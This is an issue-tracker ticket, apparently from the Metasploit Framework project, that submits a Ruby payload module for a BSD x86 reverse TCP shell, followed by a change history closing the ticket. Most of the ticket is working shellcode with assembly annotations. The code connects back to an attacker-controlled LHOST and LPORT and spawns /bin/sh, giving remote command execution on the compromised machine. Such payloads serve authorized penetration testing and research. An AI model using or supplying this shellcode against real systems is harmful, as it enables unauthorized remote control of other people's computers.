Ticket #92 (closed enhancement: fixed)

Opened 1 year ago

Last modified 1 year ago

New single shell_reverse_tcp payload module for BSD x86

Reported by: ramon@risesecurity.org Assigned to: hdm
Priority: minor Milestone:
Component: framework3 Version:
Keywords: Cc:

Description

These payloads were carefully designed and implemented for maximum reliability and improved size.

# $Id$

require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'

module Msf
module Payloads
module Singles
module Bsd
module X86

module ShellReverseTcp

	include Msf::Payload::Single

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'BSD Command Shell, Reverse TCP Inline',
			'Version'       => '$Revision$',
			'Description'   => 'Connect back to attacker and spawn a command shell',
			'Author'        => 'Ramon de Carvalho Valle <ramon@risesecurity.org>',
			'License'       => MSF_LICENSE,
			'Platform'      => 'bsd',
			'Arch'          => ARCH_X86,
			'Handler'       => Msf::Handler::ReverseTcp,
			'Session'       => Msf::Sessions::CommandShell,
			'Payload'       =>
				{
					'Offsets' =>
						{
							'LHOST'    => [ 1, 'ADDR' ],
							'LPORT'    => [ 8, 'n'    ],
						},
					'Payload' =>
							"\x68\x7f\x00\x00\x01" +#   pushl   $0x0100007f                #
							"\x68\xff\x02\x04\xd2" +#   pushl   $0xd20402ff                #
							"\x89\xe7"             +#   movl    %esp,%edi                  #
							"\x31\xc0"             +#   xorl    %eax,%eax                  #
							"\x50"                 +#   pushl   %eax                       #
							"\x6a\x01"             +#   pushl   $0x01                      #
							"\x6a\x02"             +#   pushl   $0x02                      #
							"\x6a\x10"             +#   pushl   $0x10                      #
							"\xb0\x61"             +#   movb    $0x61,%al                  #
							"\xcd\x80"             +#   int     $0x80                      #
							"\x57"                 +#   pushl   %edi                       #
							"\x50"                 +#   pushl   %eax                       #
							"\x50"                 +#   pushl   %eax                       #
							"\x6a\x62"             +#   pushl   $0x62                      #
							"\x58"                 +#   popl    %eax                       #
							"\xcd\x80"             +#   int     $0x80                      #
							"\x50"                 +#   pushl   %eax                       #
							"\x6a\x5a"             +#   pushl   $0x5a                      #
							"\x58"                 +#   popl    %eax                       #
							"\xcd\x80"             +#   int     $0x80                      #
							"\xff\x4f\xe8"         +#   decl    -0x18(%edi)                #
							"\x79\xf6"             +#   jns     <cntsockcode+34>           #
							"\x68\x2f\x2f\x73\x68" +#   pushl   $0x68732f2f                #
							"\x68\x2f\x62\x69\x6e" +#   pushl   $0x6e69622f                #
							"\x89\xe3"             +#   movl    %esp,%ebx                  #
							"\x50"                 +#   pushl   %eax                       #
							"\x54"                 +#   pushl   %esp                       #
							"\x53"                 +#   pushl   %ebx                       #
							"\x50"                 +#   pushl   %eax                       #
							"\xb0\x3b"             +#   movb    $0x3b,%al                  #
							"\xcd\x80"              #   int     $0x80                      #
				}
		))
	end

end

end end end end end

Change History

04/28/07 14:00:34 changed by hdm

  • status changed from new to closed.
  • resolution set to fixed.

(In [4803]) Fixes #88 #89 #90 #91 #92. Replaces bind/reverse for BSD x86, replaces bind for OS X x86, adds reverse/find for OS X x86.

04/28/07 14:00:54 changed by hdm

(In [4804]) Fixes #88 #89 #90 #91 #92. Replaces bind/reverse for BSD x86, replaces bind for OS X x86, adds reverse/find for OS X x86.

04/28/07 14:01:04 changed by hdm

(In [4805]) Fixes #88 #89 #90 #91 #92. Replaces bind/reverse for BSD x86, replaces bind for OS X x86, adds reverse/find for OS X x86.

04/28/07 14:01:27 changed by hdm

(In [4806]) Fixes #88 #89 #90 #91 #92. Replaces bind/reverse for BSD x86, replaces bind for OS X x86, adds reverse/find for OS X x86.

04/28/07 14:01:46 changed by hdm

(In [4807]) Fixes #88 #89 #90 #91 #92. Replaces bind/reverse for BSD x86, replaces bind for OS X x86, adds reverse/find for OS X x86.

04/28/07 14:02:03 changed by hdm

(In [4808]) Fixes #88 #89 #90 #91 #92. Replaces bind/reverse for BSD x86, replaces bind for OS X x86, adds reverse/find for OS X x86.